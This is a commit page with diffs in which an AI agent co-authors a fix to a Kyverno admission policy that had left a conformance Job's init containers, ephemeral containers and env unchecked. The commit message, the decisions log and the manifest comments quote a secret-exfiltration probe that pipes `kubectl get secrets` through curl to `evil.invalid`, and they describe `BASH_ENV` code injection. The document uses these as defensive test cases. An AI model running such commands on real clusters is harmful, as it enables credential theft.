fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped

Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed 2026-09-29 19:44:39 -05:00
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+245
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@@ -5264,3 +5264,248 @@ review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-styl
or a `paths:`-scoped required check would be the mechanism; neither exists today.
The PR was **not merged** and nothing was worked around.
---
## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers`
The coordinator reproduced the finding above independently, then **authorised the policy edit my
brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the
boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I
had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully
compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever
applied to `containers[0]`.
### What changed
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules:
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
must be on the digest-pinned `conformance-runner` image, `command:
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the
question the coordinator asked. See the honesty note below.
Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one**
element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
Two implementation traps worth recording:
- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so
`element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value
`false` into `true` and denies every good Job. Absence defaults must use
`not_null(x, `default`)`.
- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
`["/bin/sh","-c",…]` through on element 0.
### The clone script moved OUT of the Job — that is the actual fix
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs
at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement,
and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the
`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The
script stays in-repo and reviewable, which is the property the inline version was protecting. The
Job's init container is now `command` + `env` and nothing else.
**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it
controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the
same escalation, laundered through a field nobody constrains. **Do not move that URL back into
env.** Constraining `env` in the policy is the remaining hardening step and is NOT done.
### Proven, not asserted (kyverno v1.19.0, pinned toolbox)
##### the real rendered template MUST PASS
Applying 5 policy rule(s) to 1 resource(s)...
pass: 5, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip):
| resource | may-create | volumes | args | initContainers | ephemeral |
|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | **pass** | pass |
| `good-run` | pass | pass | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass |
| `evil-image` | **fail** | pass | — | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** |
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every
`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in
one column, and it is why the fixtures are worth more than the rules' prose.
### UNVERIFIED — the `ephemeralContainers` question, answered honestly
I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's
pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers`
subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to
a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would
need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the
operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already
rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is
not a boundary. If someone with cluster-write access wants to settle it, that is a one-command
check; the rule should stay either way.
Still unverified, unchanged from the entry above: nothing here has executed, because the runner
image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`)
before it can. If that path is missing or named differently, the init container fails to start;
if it is present but the image is not the pinned digest, admission denies the Job.
### Process note, worth more than the policy fix
Both halves of this came from **probing rather than reading**. The hole was not visible in the
policy's prose — which is careful, accurate about what it does constrain, and explicit that it is
"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo`
observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a
green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides
whether they apply at all. A policy is only as trustworthy as its negative fixtures.
---
## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run
Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone`
in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args`
shapes the image can actually execute. All three changed this branch.
### 1. I was shipping a DUPLICATE of a security-critical script — deleted
I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds
`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory,
one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed
file is not the file that runs". **Mine is deleted**; everything now references agent 1's path,
which arrives with #18.
I read their version before deleting mine rather than assuming compatibility, and the interface
my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`;
baked clone target `/workspace/src` (which is what makes my `workingDir:
/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both
load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after
checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC`
that disagrees with the baked values, rather than honouring it.
Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an
instruction to read those values from env** — the coordinator's instruction, which they then
retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just
moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap
was systemic, not a one-off.
### 2. `env` was unconstrained — now allowlisted (two more rules)
The coordinator left this to my judgement. I closed it, because it is provably the same bug:
`command` and `args` are pinned, so injection moves to whatever adjacent field nobody
enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before
running a non-interactive script, and the runner's command IS a bash script.
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
The init list iterates `initContainers[].env[]` flattened, so it keeps working if the
at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector
that matters, because a name is what a program keys behaviour on.
Two Kyverno traps, both of which silently invert the result and are now commented in the rules:
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant**
value `false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's
`Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets
`["/bin/sh","-c",…]` through on element 0.
### 3. The committed `args` default was a shape that cannot run
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on
the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()`
then filters to `/l0-static/|/l1-rendering/`:
| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
So `--layer` is mandatory and must name only l2/l3. **The committed default was
`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More
importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A
full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the
manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4).
I did **not** narrow the policy's args allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered.
### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now)
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why the env rule had to be its own rule and not a condition bolted onto the init rule.
### UNVERIFIED, still
- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret
`conformance-git-readonly` still does not exist.
- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the
entry above; establishing it needs a mutating dry-run reserved to the operator.
- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
reviewed change. That is the intended failure direction, but it is a coupling the next person
editing either script needs to know about, so it is called out in the rule's message.
+34 -16
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@@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens, the admission constraints it satisfies, and **an open security gap
in the admission policy that it documents and does not exploit** — read it before
editing either file.
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
@@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
equals the requested SHA** — the suite runs at the commit under test or not at all. The
read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
no volume but `workspace` and `results`.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
@@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Operator prerequisites (out of GitOps — neither exists yet)
- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key.
- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+105 -92
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@@ -39,42 +39,70 @@
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
# replace ONLY the init container's `args` with
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
# and leave `containers[0]` untouched and compliant. Result:
# Applying 3 policy rule(s) to 1 resource(s)...
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
# examined, so the exact escalation the policy exists to stop — the privileged
# conformance-runner SA executing an arbitrary command — is still reachable, one field
# over. This template's OWN init container does not exploit that; the gap is the policy's,
# and it existed before this file had an init container at all.
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
# FOLLOW-UP, in order of preference:
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
# init container carries no caller-supplied code at all and the rule is one pattern.
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
# pinned runner image — weaker (the script stays caller-supplied) but it at least
# stops an arbitrary image running as conformance-runner.
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
# bash script full of legitimate `${...}` references; running the template through
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
# this". Render with a two-token sed, nothing cleverer:
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
@@ -88,13 +116,39 @@
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
# trigger REPLACES it wholesale per invocation shape —
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
# "--requirements", "<touched R-IDs>"]
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
# to `kyverno apply` as-is.
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
@@ -152,67 +206,25 @@ spec:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
# the token never appears in argv (where `ps` and the Pod spec would show it) and
# is never written to disk.
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# `--depth 1` clones the default branch; the commit under test is usually its tip
